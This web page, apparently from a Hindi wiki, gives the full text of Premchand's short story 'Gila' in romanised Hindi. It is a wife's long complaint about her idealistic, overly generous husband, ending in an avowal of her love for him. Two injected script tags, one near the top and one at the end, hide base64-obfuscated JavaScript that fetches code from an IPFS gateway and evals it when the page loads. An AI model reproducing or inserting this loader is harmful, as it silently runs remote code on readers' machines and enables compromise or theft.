गिला -प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jivan ka b da bhag isi ghar mean gujar gaya, par kabhi aram n nasib hua. mere pati sansar ki drishti mean b de sajjan, b de shisht, b de udar, b de saumy hoange; lekin jis par gujarati hai vahi janata hai. sansar ko un logoan ki prashansa karane mean anand ata hai, jo apane ghar ko bha d mean jhoank rahe hoan, gairoan ke pichhe apana sarvanash kiye dalate hoan. jo prani gharavaloan ke lie marata hai, usaki prashansa sansaravale nahian karate. vah to unaki drishti mean svarthi hai, kripan hai, sankirn hriday hai, achar-bhrasht hai. isi tarah jo log baharavaloan ke lie marate haian, unaki prashansa gharavale kyoan karane lage? ab inhian ko dekho, sare din mujhe jalaya karate haian. maian parada to nahian karati; lekin saude-sulaph ke lie bazar jana bura maloom hota hai. aur, inaka yah hal hai, ki chiz mangavao, to aisi dukan se layeange, jahaan koee grahak bhoolakar bhi n jata ho. aisi dukan par n to chiz achchhi milati hai, n taul thik hoti hai, n dam hi uchit hote haian. yah dosh n hote, to vah dukan badanam hi kyoan hoti; par inhean aisi hi gayi-biti dukanoan ki chizean lane ka maraj hai. bar-bar kah diya, sahab ki chalati huee dukan se saude laya karo. vahaan mal adhik khapata hai, isalie taja mal ata rahata hai; par inaki to tutapuanjiya se banati hai, aur ve inhean ulte chhure se mooandate haian. gehooan layeange, to sare bazar se kharab, ghuna hua chaval, aisa mota ki bail bhi n poochhe, dal mean karaee aur kank d bhare hue. manoan lak di jala dalo, kya majal ki gale ! ghi layeange to adha adha tel, ya solahoan ane katojem aur darasal ghi se ek chhataank kam ! tel layeange to milavat, baloan mean dalo, to chimat jayean; par dam de ayeange shuddh aanvale ke tel ka ! kisi chalati huee nami dukan par jate to inhean jaise dar lagata hai. shayad ooanchi dukan aur phike pakavan ke kayal haian. mera anubhav to yah hai, ki nichi dukan par hi s de pakavan milate haian.

ek din ki bat ho, to baradasht kar li jay. roj-roj ka tanta nahian saha jata. maian poochhati hooan; akhir ap tutapuanjiyoan ki dukan par jate hi kyoan haian? kya unake palan-poshan ka thika tumhian ne liya hai? ap pharamate haian, mujhe dekhakar sab-ke-sab bulane lagate haian. vah kya kahana hai ! kitani door ki bat kahi hai. jara inhean bula liya aur khushamad ke do shabd suna diye, tho di-si stuti kar di, bas apaka mizaj asaman par ja pahuancha. phir inhean sudhi nahian rahati ki yah koo da-karakat baandh raha hai ya kya. poochhati hooan, tum us raste se jate hi kyoan ho? kyoan kisi doosare raste se nahian jate. aise uthaeegiroan ko muanh hi kyoan lagate ho? isaka koee javab nahian? ek chup sau badhaoan ko harati hai?

ek bar ek gahana banavane ko diya. maian to mahashay ko janati thi. inase kuchh poochhana vyarth samajha. apane pahachan ke ek sunar ko bula rahi thi. sanyog se ap bhi virajaman the. bole yah sanpraday vishvas ke yogy nahian, dhokha khaogi. maian ek sunar ko janata hooan, mere sath ka padha hua hai, barasoan sath-sath khele haian, vah mere sath chalabaji nahian kar sakata. maianne bhi samajha, jab inaka mitr hai aur vah bhi bachapan ka, to kahaan tak dosti ka hak n nibhayega. sone ka ek abhooshan aur sau rupaye inake havale kiye. is bhalemanas ne vah abhooshan aur rupaye n jane kis beeeman ko de diye ki barasoan ke jhanjhat ke bad jab chiz banakar ayi, to ath ane taanba aur itani bhaddi ki dekhakar ghin lagati thi. barasoan ki abhilasha dhool mean mil gayi. ro-pitakar baith rahi. aise-aise vafadar to inake mitr haian; jinhean mitr ki garadan par chhuri pherane par bhi sankoch nahian. inaki dosti bhi unhian logoan se hai, jo jamane bhar ke jattoo, girahakat, langoti mean phag khelanevale, phakemast haian, jinaka udyam hi in jaise aankh ke aandhoan se dosti gaanthana hai. nity hi ek-n-ek mahashay udhar maangane ke lie sir par savar rahate haian aur bina liye gala nahian chho date. magar aisa kabhi n hua ki kisi ne rupaye chukaye hoan. adami ek bar khokar sikhata hai, do bar khokar sikhata hai, kiantu yah bhalemanas hazar bar khokar bhi nahian sikhate ! jab kahati hooan, rupaye to de aye. ab maang kyoan nahian late ! kya mar gaye tumhare vah dost? to bas bagalean jhaankakar rah jate haian. apase mitroan ko sookha javab nahian diya jata. khair, sookha javab n do. maian bhi nahian kahati ki dostoan se bemurauvati karo; magar chikani-chup di batean to bana sakate ho, bahane to kar sakate ho. kisi mitr ne rupaye maange aur apake sir par bojh p da.

bechare kaise inakar karean. akhir log jan jayeange ki nahian ki yah mahashay bhi khukkhal hi haian ! inaki havis yah hai ki duniya inhean sanpann samajhati rahe, chahe mere gahane hi kyoan n giroan rakhane p dean. sach kahati hooan, kabhi-kabhi to ek-ek paise ki tangi ho jati hai aur in bhale adami ko rupaye jaise ghar mean katate haian. jab tak rupaye ke vare-nyare n kar lean, inhean chain nahian. inake karatoot kahaan tak gaooan. meri to nak mean dam a gaya. ek-n-ek mehaman roj yamaraj ki bhaanti sir par savar rahate haian. n jane kahaan ke bephikre inake mitr haian. koee kahian se akar marata hai, koee kahian se. ghar kya hai, apahijoan ka adda hai. jara-sa to ghar, mushkil se do palang, odhana-bichhauna bhi falatoo nahian, magar ap haian ki mitroan ko nimantran dene ko taiyar ! ap to atithi ke sath leteange, isalie inhean charapaee bhi chahie, odhana-bichhauna bhi chahie, nahian to ghar ka parada khul jay. jata hai mere bachchoan ke sir, garamiyoan mean to khair koee mujayaka nahian; lekin ja doan mean to eeshvar hi yad ate haian. garamiyoan mean bhi khuli chhat par to mehamanoan ka adhikar ho jata hai, ab maian bachchoan ko liye pianj de mean p di ph daph daya karooan. inhean itani samajh bhi nahian, ki jab ghar ki yah dasha hai; to kyoan aisoan ko mehaman banayean, jinake pas kap de-latte tak nahian. eeshvar ki daya se inake sabhi mitr isi shreni ke haian. ek bhi aisa maee ka lal nahian, jo samay p dane par dhele se bhi inaki madad kar sake. do-ek bar mahashay ko isaka anubhav- atyant katu anubhav ho chuka hai; magar is j d bharat ne jaise aankhean n kholane ki kasam kha li hai. aise hi daridr bhattacharyoan se inaki patati hai. shahar mean itane lakshmi ke putr haian, par apaka kisi se parichay nahian. unake pas jate inaki atma dukhati hai. dosti gaantheange aisoan se, jinake ghar mean khane ka thikana nahian.

ek bar hamara kahar, chho dakar chala gaya aur kee din koee doosara kahar, n mila. kisi chatur aur kushal kahar ki talash mean thi; kiantu apako jald-se-jald koee adami rakh lene ki dhun savar ho gayi. ghar ke sare kam poorvavath chal rahe the, par apako maloom ho raha tha ki ga di ruki huee hai. mera joothe baratan maanjana aur apana sag-bhaji ke lie bazar jana inake lie asahy ho utha. ek din jane kahaan se ek baang doo ko pak d laye. usaki soorat kahe deti thi ki koee jaangaloo hai; magar apane usaka aisa bakhan kiya, ki kya kahooan. b da hoshiyar hai, b da ajnakari, parale sire ka mehanati, gajab ka salikedar aur bahut hi eemanadar. khair, maianne use rakh liya. maian bar-bar kyoan inaki batoan mean a jati hooan, isaka mujhe svayan ashchary hai. yah adami keval roop se adami tha. adamiyat ke aur koee lakshan usamean n the. kisi kam ki tamij nahian. beeeman n tha; par gadha avval daraje ka. beeeman hota, to kam-se-kam itani taskin to hoti ki khud kha jata hai. abhaga dukanadaroan ke hathoan lut jata tha. das tak ki ginati use n ati thi. ek rupaya dekar bazar bhejooan to sandhya tak hisab n samajha sake. krodh pi-pikar rah jati thi. rakt khaulane lagata tha ki dusht ke kan ukha d looan, magar in mahashay ko use kabhi kuchh kahate nahian dekha, daantana to door ki bat hai. ap naha-dhokar dhoti chhaant rahe haian aur vah door baitha tamasha dekh raha hai. maian to bacha ka khoon pi jati; lekin inhean jara bhi gam nahian. jab mere daantane par dhoti chhaantane jata bhi, to ap use samip n ane dete. bas, usake doshoan ko gun banakar dikhaya karate the; aur is prayas mean saphal n hote, to doshoan par parada dal dete the. moorkh ko jha doo lagane ki tamij n thi. maradana kamara hi to sare ghar mean dhang ka ek kamara hai. usamean jha doo lagata, to idhar ki chiz udhar, oopar ki niche; mano kamare mean bhookanp a gaya ho. aur gard ka yah hal, ki saans lena kathin; par ap shaantipoorvak kamare mean baithe haian, jaise koee bat hi nahian. ek din maianne use khoob daanta- kal se thik-thik jha doo n lagaee to kan pak d kar nikal dooangi. sabere sokar uthi, to dekhati hooan kamare mean jha doo lagi huee hai aur harek chiz karine se rakhi huee hai. gardagubar ka nam nahian. maian chakit hokar dekhane lagi, to ap hansakar bole- dekhati kya ho; aj ghoore ne b de sabere uthakar jha doo lagaee hai. maianne samajha diya. tum dhang to batati nahian, ulate daantane lagati ho.

maianne samajha. khair, dusht ne kam-se-kam ek kam to salike se kiya.ab roj kamara saph-suthara milata. ghoore meri drishti mean vishvasi banane laga. sanyog ki bat ek din maian jara mamool se sabere uth baithi aur kamare mean ayi, to kya dekhati hooan ki ghoore dvar par kh da hai, aur ap tan-man se kamare mean jha doo laga rahe haian. meri aankho mean khoon utar aya. unake hath se jha doo chhin kar ghoore ke sir jama di. haramakhor ko usi dam nikal bahar kiya. ap pharamane lage usaka mahina to chuka do. vah ri samajh. ek to kam n kare, us par aankhean dikhaye. us par poori majoori bhi chuka dooan. maianne ek kau di bhi n di. ek kurata diya tha, vah bhi chhin liya. is par j d bharat mahashay mujhase kee din roothe rahe. ghar chho dakar bhage jate the. b di mushkiloan se ruke. aise-aise bhoandoo bhi sansar mean p de hue haian. maian n hoti, to shayad ab tak inhean kisi ne bazar mean bech diya hota.

ek din mehatar ne utare kap doan ka saval kiya. is bekari ke jamane mean falatoo kap de to shayad pulisavaloan ya reesoan ke ghar mean hoan, mere ghar mean to zaroori kap de bhi kafi nahian. apaka vastralay ek bakachi mean a jayaga, jo dak ke parasal se kahian bheja ja sakata hai. phir is sal ja doan ke kap de banavane ki naubat n ayi. paise najar nahian ate, kap de kahaan se banean. maianne mehatar ko saf javab de diya. k dake ka ja da p d raha tha; isaka anubhav mujhe kam n tha. gariboan par kya bit rahi hai, isaka bhi mujhe jnan tha. lekin mere ya apake pas khed ke siva isaka aur kya ilaj hai. jab tak samaj ka yah sangathan rahega, aisi shikayatean paida hoti raheangi. jab ek-ek amir aur rees ke pas ek-ek malaga di kap doan se bhari huee hai, tab phir nirdhanoan ko kyoan n nagnata ka kasht uthana p de? khair maianne to mehatar ko javab de diya, apane kya kiya ki apaka kot uthakar usako bheant kar diya. meri deh mean ag lag gayi. itani danashil nahian hooan ki doosaroan ko khilakar ap so rahooan, devata ke pas yahi ek kot tha. apako isaki jara bhi chianta n huee ki pahaneange kya? yash ke lobh ne jaise buddhi hi har li. mehatar ne salam kiya, duaean dian, aur apani rah li. ap kee din sardi se thithurate rahe. prat:kal ghoomane jaya karate the. vah band ho gaya. eeshvar ne unhean hriday bhi ek vichitr prakar ka diya hai. phate-purane kap de pahanate apako jara bhi sankoch nahian hota; maian to mare laj ke g d jati hooan, par apako jara fikr nahian. koee hansata hai, to hanse, apaki bala se. aant mean jab mujhase n dekha gaya, to ek kot banava diya. ji to jalata tha ki khoob sardi khane dooan; par dari ki kahian bimar p d jayean, to aur bura ho. akhir kam to unhian ko karana hai.

mahashay apane dil mean samajhate hoange, maian kitana vinit, kitana paropakari hooan. shayad inhean in batoan ka garv ho. maian inhean paropakari nahian samajhati, n vinit hi samajhati hooan, yah j data hai, sidhi-sadi nirihata. jis mehatar ko apane apana kot diya, use maianne kee bar rat ko sharab ke nashe mean mast jhoomata dekha hai aur apako dikha bhi diya hai. phir doosaroan ki vivekahinata ki purauti ham kyoan karean? agar ap vinit aur paropakari hote, to gharavaloan ke prati bhi to apake man mean kuchh udarata hoti. ya sari udarata baharavaloan hi ke lie surakshit hai? gharavaloan ko usaka alpaansh bhi n milana chahie? meri itani avastha bit gayi; par is bhale adami ne kabhi apane hathoan se mujhe ek upahar bhi n diya. beshak maian jo chiz bazar se mangavaooan; use lane mean inhean jara bhi apatti nahian, bilakul ujr nahian, magar rupaye maian de dooan, yah shart hai. inhean khud kabhi yah umang nahian hoti. yah maian manati hooan ki bechare apane lie bhi kuchh nahian late. maian jo kuchh mangava dooan usi par santusht ho jate haian; magar akhir adami kabhi-kabhi shauq ki chizean chahata hi hai. any purushoan ko dekhati hooan, stri ke lie tarah-tarah ke gahane, bhaanti-bhaanti ke kap de, shauk-siangar ki vastuean late rahate haian. yahaan is vyavahar ka nishedh hai. bachchoan ke lie bhi mithaiyaan, khilaune, baje shayad jivan mean ek bar bhi n laye hoan. shapath bhi kha li hai; isalie maian to inhean kripan kahooangi, arasik kahooangi, hriday-shoony kahooangi, udar nahian kah sakati. doosaroan ke sath inaka jo seva-bhav hai, usaka karan hai, inaka yash-lobh aur vyavaharik ajnanata. apake vinay ka yah hal hai ki jis daftar mean ap naukar haian, usake kisi adhikari se apaka mel-jol nahian. aphasaroan ko salam karana to apaki niti ke viruddh hai, najar ya dali to door ki bat hai. aur to aur, kabhi kisi aphasar ke ghar nahian jate. isaka khamiyaza ap n uthayean, to kaun uthaye. auroan ko riayati chhuttiyaan milati haian, apaka vetan katata hai; auroan ki tarakkiyaan hoti haian, apako koee poochhata bhi nahian; hajiri mean paanch minat ki bhi der ho jay, to javab poochha jata hai. bechare ji to dakar kam karate haian, koee b da kathin kam a jata hai, to inhian ke sir madha jata hai, inhean jara bhi apatti nahian. daftar mean inhean 'ghissoo', 'pissoo' adi upadhiyaan mili huee haian, magar p dav kitana hi b da marean inake bhagy mean vahi sookhi ghas likhi hai. yah vinay nahian hai, svadhin manovritti bhi nahian hai, maian to ise samay-chaturi ka abhav kahati hooan, vyavaharik jnan ki kshati kahati hooan. akhir koee aphasar apase kyoan prasann ho. isalie ki ap b de mehanati haian? duniya ka kam murauvat aur ravadari se chalata hai ! agar ham kisi se khianche rahean, to koee karan nahian ki vah bhi hamase n khiancha rahe. phir jab man mean kshobh hota hai, to vah daftari vyavaharoan mean bhi prakat ho hi jata hai. jo matahat aphasar ko prasann rakhane ki cheshta karata hai, jisaki jat se aphasar ka koee vyaktigat upakar hota hai, jis par vah vishvas kar sakata hai, usaka lihaz vah svabhavat: karata hai. aise siragiyoan se kyoan kisi ko sahanubhooti hone lagi. aphasar bhi to manushy hai. usake hriday mean jo samman aur vishishtata ki kamana hai, vah kahaan poori ho. jab adhinasth karmachari hi usase phirant rahean, to kya usake aphasar use salam karane ayeange? apane jahaan naukari ki, vahaan se nikale gaye. kabhi kisi daftar mean do-tin sal se zyada n tike. ya to aphasar se l d gaye, ya karyadhiky ke karan chho d baithe.

apako kutuanb-seva ka dava hai. apake kee bhaee-bhatije hote haian, vah kabhi inaki bat bhi nahian poochhate; ap barabar unaka muanh takate rahate haian.

inake ek bhaee sahab ajakal tahasiladar haian. ghar ki milkiyat unhian ki nigarani mean hai. vah that se rahate haian. motar rakh li hai; kee naukar-chakar haian magar yahaan bhoole se bhi patr nahian likhate. ek bar hamean rupaye ki b di tangi huee. maianne kaha, apane bhrataji se kyoan nahian maang lete? kahane lage unhean kyoan chianta mean dalooan. unhean bhi to apana kharch hai. kaun-si aisi bachat ho jati hogi. jab maianne bahut majaboor kiya; to apane patr likha. maloom nahian patr mean kya likha, patr likha ya mujhe chakama de diya; rupaye n ane the, n aye. kee dinoan ke bad maianne poochha kuchh javab aya shrimanh ke bhaee sahab ke darabar se? apane rusht hokar kaha, abhi keval ek saptah to khat pahuanche hue, abhi kya javab a sakata hai. ek saptah aur gujara, magar javab nadarad. ab apaka yah hal hai ki mujhe kuchh batachit karane ka avasar hi nahian dete. itane prasann-chitt najar ate haian ki kya kahooan. bahar se ate haian to khush-khush ! koee-n-koee shigoopha liye hue. meri khushamad bhi khoob ho rahi hai, mere maike valoan ki prashansa bhi ho rahi hai, mere grih-prabandh ka bakhan bhi asadharan riti se kiya ja raha hai. maian is mahashay ki chal samajh rahi thi. yah sari dilajoee keval isalie thi ki shrimanh ke bhaeesahab ke vishay mean kuchh poochh n baithooan. sare rajanitik, arthik, samajik, acharik prashnoan ki mujhase vyakhya ki jati thi, itane vistar aur gaveshana ke sath, ki visheshajn bhi loha man jayean. keval isalie ki mujhe vah prasang uthane ka avasar n mile; lekin maian bhala kab chookanevali thi. jab poore do saptah gujar gaye aur bime ke rupaye bhejane ki miti, maut ki tarah sir par savar ho gayi to maianne poochha kya hua, tumhare bhaee sahab ne shrimukh se kuchh pharamaya ya abhi tak patr nahian pahuancha? akhir ghar ki jayadad mean hamara bhi kuchh hissa hai ya nahian? ya ham kisi lauandi-dasi ki santan haian? paanch sau rupaye sal ka napha to das sal pahale tha. ab to ek hazar se kam n hoga, par hamean kabhi ek kani kau di bhi nahian mili. mote hisab se hamean do hazar milana chahie. do hazar n hoan, ek hazar hoan, paanch sau hoan, dhaee sau hoan, kuchh n hoan, to bima ke primiyam bhar ke to hoan. tahasiladar sahab ki amadani hamari amadani ki chauguni hai, rishvatean bhi lete haian; to phir hamare rupaye kyoan nahian dete? ap hean-hean, haan-haan, karane lage. kahane lage, vah bechare ghar ki marammat karavate haian. bandhu-baandhavoan ka svagat-satkar karate haian, natedariyoan mean bheant-bhaant bhejate haian. aur kahaan se lavean jo hamare pas bhejean? vah ri buddhi ! mano jayadad isilie hoti hai ki usaki kamaee usi mean kharch ho jay. is bhale adami ko bahane gadhane bhi nahian ate. mujhase poochhate maian ek nahian, hazar bata deti, ek-se-ek badhakar kah dete ghar mean ag lag gayi, sab kuchh svaha ho gaya tha, ya chori ho gayi, tinaka tak n bacha ya das hazar ka anaj bhara tha, usamean ghata raha, ya kisi se faujadari ho gayi, usamean divala pit gaya. apako soojhi bhi to lachar-si bat. takadir thoankakar baith rahi. p dos ki ek mahila se rupaye karz lie, tab jakar kam chala. phir bhi ap bhaee-bhatijoan ki tariph ke pul baandhate haian, to mere sharir mean ag lag jati hai. aise kauravoan se eeshvar bachaye.

eeshvar ki daya se apake do bachche haian, do bachchiyaan bhi haian. eeshvar ki daya kahooan; ya kop kahooan. sab-ke-sab udhami ho gaye haian ki khuda ki panah ! magar kya majal hai ki yah bhoandoo kisi ko k di aankho se dekhean ! rat ke ath baje gaye haian, yuvaraj abhi ghoomakar nahian aye. maian ghabara rahi hooan, ap nishchiant baithe akhabar padh rahe haian. jhallaee huee jati hooan aur akhabar chhinakar kahati hooan, jakar jara dekhate kyoan nahian, lauanda kahaan rah gaya? n jane tumhara hriday kitana kathor hai. eeshvar ne tumhean santan hi n jane kyoan de di. pita ka putr ke sath kuchh to dharm hai. tab ap bhi garm ho jate haian. abhi tak nahian aya? b da shaitan hai. aj bacha ate haian, to kan ukha d leta hooan. mare hantaroan ke khal udhe dakar rakh dooanga. yoan big dakar taish ke sath ap use khojane nikalate haian. sanyog ki bat, ap udhar jate haian, idhar l daka a jata hai. maian poochhati hooan, too kidhar se a gaya? tujhe vah dhooandhane gaye hue haian. dekhana, aj kaisi marammat hoti hai. yah adat hi chhoot jayagi. daant pis rahe the. ate hi hoange ! chh di bhi unake hath mean hai. tum itane man ke ho gaye ho ki bat nahian sunate ! aj ate-dal ka bhav maloom hoga. l daka saham jata hai aur laianp jalakar padhane baith jata hai. mahashayaji do-dhaee ghante ke bad lautate haian; hairan, pareshan aur badahavas. ghar mean paanv rakhate hi poochhate haian aya ki nahian?

maian unaka krodh uttejit karane ke vichar se kahati hooan- akar baitha to hai, jakar poochhate kyoan nahian? poochhakar har gayi, kahaan gaya tha, kuchh bolata hi nahian.

ap garajakar kahate haian- mannoo, yahaan ao.

l daka tharathar kaanpata hua akar aangan mean kh da ho jata hai. donoan bachchiyaan ghar mean chhip jati haian ki koee b da bhayankar kaand hone vala hai. chhota bachcha khi daki se choohe ki tarah jhaank raha hai. ap krodh se baukhalaye hue haian. hath mean chh di hai hi, maian bhi vah krodhonmatt akriti dekhakar pachhatane lagati hooan, ki kahaan se inase shikayat ki? ap l dake ke pas jate haian, magar chh di jamane ke badale ahiste se usake kandhoan par hath rakhakar banavati krodh se kahate haian- tum kahaan gaye the ji? mana kiya jata hai, manate nahian ho. khabaradar, jo ab kabhi itani der hogi. adami sham ko ghar chala ata hai, ya mataragashti karata hai?

maian samajh rahi hooan ki yah bhoomika hai. vishay ab ayega. bhoomika to buri nahian; lekin yahaan to bhoomika par iti ho jati hai. bas, apaka krodh shaant ho gaya. bilakul jaise kvar ki ghata gher-ghar hua, kale badal aye, g dag dahat huee aur giri kya char booandean ! l daka apane kamare mean chala jata hai aur shayad khushi se nachane lagata hai.

maian parabhoot hokar kahati hooan- tum to jaise dar gaye. bhala do-char tamache to lagaye hote ! isi tarah to l dake sher ho jate haian.

ap pharamate haian- tumane suna nahian, maianne kitane zor se daanta ! bacha ki jan hi nikal gayi hogi. dekh lena, jo phir kabhi der mean ae.

'tumane daanta to nahian, haan, aansoo poanchh diye.'

'tumane meri daant suni nahian?'

'kya kahana hai, apaki daant ka ! logoan ke kan bahare ho gaye. lao, tumhara gala sahala dooan.'

apane ek naya siddhaant nikala hai ki dand dene se l dake kharab ho jate haian. apake vichar se l dakoan ko azad rahana chahie. un par kisi tarah ka bandhan, shasan ya dabav n hona chahie. apake mat se shasan balakoan ke manasik vikas mean badhak hota hai. isi ka yah phal hai ki l dake be-nakel ke ooant bane hue haian. koee ek minat bhi kitab kholakar nahian baithata. kabhi gulli-danda hai, kabhi goliyaan, kabhi kanakauve. shriman bhi l dakoan ke sath khelate haian, chalis sal ki umr aur l dakapan itana. mere pitaji ke samane majal thi ki koee l daka kanakauva u da le, ya gulli-danda khel sake. khoon pi jate. prat:kal se l dakoan ko lekar baith jate the. skool se jyoan hi l dake ate, phir le baithate the. bas, sandhya samay adha ghante ki chhutti dete the. rat ko phir jot dete. yah nahian ki ap to akhabar padha karean aur l dake gali-gali bhatakate phirean. kabhi-kabhi ap siang katakar bachh de ban jate haian. l dakoan ke sath tash khelane baitha karate haian. aise bap ka bhala l dakoan par kya rob ho sakata hai? pitaji ke samane mere bhaee sidhe tak nahian sakate the. unaki avaz sunate hi tahalaka mach jata tha. unhoanne ghar mean qadam rakha aur shaanti ka samrajy hua. usake sammukh jate l dakoan ke pran sookhate the. usi shasan ki yah barakat hai ki sabhi l dake achchhe-achchhe padoan par pahuanch gaye. haan, svasthy kisi ka achchha nahian hai. to pitaji hi ka svasthy kaun b da achchha tha ! bechare hamesha kisi-n-kisi aushadhi ka sevan karate rahate the. aur kya kahooan; ek din to had hi ho gayi. shrimanaji l dakoan ko kanakauva u dane ki shiksha de rahe the yoan ghumao, yoan gota do, yoan khiancho, yoan dhil do. aisa tan-man se sikha rahe the mano guru-mantr de rahe hoan. us din maianne inaki aisi khabar li ki yad karate hoange- tum kaun hote ho, mere bachchoan ko biga dane vale ! tumhean ghar se koee matalab nahian hai, n ho; lekin ap mere bachchoan ko kharab n kijie. buri-buri adatean n sikhaie. ap unhean sudhar nahian sakate, to kam-se-kam biga die mat. lage bagalean jhaankane. maian chahati hooan, ek bar yah bhi garam p dean, to apana chandi roop dikhaooan, par yah itana jald dab jate haian ki maian har jati hooan. pitaji kisi l dake ko mele-tamashe n le jate the. l daka sir patakakar mar jay, magar jara bhi n pasijate the aur in mahatmaji ka yah hal hai ki ek-ek se poochhakar mele le jate haian chalo, chalo, vahaan b di bahar hai, khoob atishabajiyaan chhooteangi, gubbare u deange, vilayati charkhiyaan bhi haian. un par maje se baithana. aur to aur, ap l dakoan ko haki khelane se bhi nahian rokate. yah aangreji khel bhi kitane janaleva hote haian, kriket, phutabal, haki ek-se-ek ghatak. geand lag jay to jan lekar hi chho de; par apako in sabhi kheloan se prem hai. koee l daka maich mean jitakar a jata hai, to aise phool uthate haian, mano kila jitakar aya ho. apako isaki jara bhi paravah nahian ki chot-chapet a gayi, to kya hoga. hath-paanv toot gaye, to becharoan ki ziandagi kaise par lagegi !

pichhale sal kanya ka vivah tha. apako zid thi ki dahej ke nam kani kau di bhi n deange, chahe kanya ajivan kvaanri baithi rahe. yahaan bhi apaka adarshavad a kooda. samaj ke netaoan ka chhal-prapanch aye din dekhate rahate haian, phir bhi apaki aankhean nahian khulatian. jab tak samaj ki yah vyavastha qayam hai aur yuvati kanya ka avivahit rahana niandaspad hai, tab tak yah pratha mitane ki nahian. do-char aise vyakti bhale hi nikal avean jo dahej ke lie hath n phailavean; lekin isaka paristhiti par koee asar nahian p data aur kupratha jyoan-ki-tyoan bani huee hai. paisoan ki to kami nahian hai, dahej ki buraiyoan par lekchar de sakate haian; lekin milate hue dahej ko chho d denevala maianne aj tak n dekha. jab l dakoan ki tarah l dakiyoan ki shiksha aur jivika ki suvidhaean nikal ayeangi, to yah pratha bhi vida ho jayagi. usake pahale sanbhav nahian. maianne jahaan-jahaan sandesh bheja dahej ka prashn uth kh da hua aur apane pratyek avasar par taang a daee. ab is tarah poora sal gujar gaya aur kanya ko satrahavaan lag gaya, to maianne ek jagah bat pakki kar li. apane bhi svikar kar liya, kyoanki varapaksh ne len-den ka prashn uthaya hi nahian, halaanki aant:karan mean un logoan ko poora vishvas tha ki achchhi rakam milegi aur maianne bhi tay kar liya tha ki yathashakti koee bat utha n rakhooangi. vivah ke sakushal hone mean koee sandeh n tha; lekin in mahashay ke age meri ek n chali yah pratha niandy hai, yah rasm nirarthak hai, yahaan rupaye ki kya zaroorat? yahaan gitoan ka kya kam? nak mean dam tha. yah kyoan, vah kyoan, yah to saf dahej hai, tumane mere muanh mean kalikh laga di, meri abaroo mita di. jara sochie is paristhiti ko ki barat dvar par p di huee hai aur yahaan bat-bat par shastrarth ho raha hai. vivah ka muhoort adhi rat ke bad tha. prathanusar maianne vrat rakha; kiantu apaki tek thi ki vrat ki koee zaroorat nahian. jab l dake ke mata-pita vrat nahian rakhate, jab l daka tak vrat nahian rakhata, to kanya pakshavale hi vrat kyoan rakhean ! maian aur sara khanadan mana karata raha; lekin apane nashta kiya, bhojan kiya. khair ! kanya-dan ka muhoort aya. ap sadaiv se is pratha ke virodhi haian. ap ise nishiddh samajhate haian. kanya kya dan ki vastu hai? dan rupaye-paise, jagah-jamin ka ho sakata hai. pashu-dan bhi hota hai lekin l daki ka dan ! ek lachar si bat hai. kitana samajhati hooan; purani pratha hai, ved-kal se hoti chali aee hai, shastroan mean isaki vyavastha hai; sanbandhi samajha rahe haian, pandit samajha rahe haian, par ap haian, ki kan par jooan nahian reangati. hath jo dati hooan, pairoan p dati hooan, gi dagi dati hooan, lekin mandap ke niche n gaye. aur maja yah hai ki apane hi to yah anarth kiya aur ap hi mujhase rooth gaye. vivah ke pashchath mahinoan bolachal n rahi. jhak marakar mujhi ko manana p da.

kiantu sabase b di vidanbana yah hai ki in sare durgunoan ke hote hue bhi maian inase ek din bhi prithakh nahian rah sakati- ek kshan ka viyog nahian sah sakati. in sare doshoan par bhi mujhe inase pragadh prem hai. inamean yah kaun-sa gun hai, jis par maian mugdh hooan, maian khud nahian janati; par inamean koee bat aisi hai, jo mujhe inaki cheri banaye hue hai. vah jara mamooli si der mean ghar ate haian, to pran nahoan mean sama jate haian. aj yadi vidhata inake badale mujhe koee vidya aur buddhi ka putala, roop aur dhan ka devata bhi de, to maian usaki or aankhean uthakar n dekhooan. yah dharm ki be di nahian hai, kadapi nahian. prathagat pativrat bhi nahian; balki ham donoan ki prakriti mean kuchh aisi kshamataean, kuchh vyavasthaean utpann ho gayi haian, mano kisi mashin ke kal-puraje ghis-ghisakar phit ho gaye hoan, aur ek puraje ki jagah doosara puraja kam n de sake, chahe vah pahale se kitana hi sudaul, naya aur sudridh kyoan n ho. jane hue raste se ham ni:shank aankhean band kiye jate haian, usake ooanch-nich, mo d aur ghumav sab hamari aankho mean samaye hue haian. anajan raste par chalana kitana kashtaprad hoga. shayad aj maian inake doshoan ko gunoan se badalane par bhi taiyar n hooangi.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>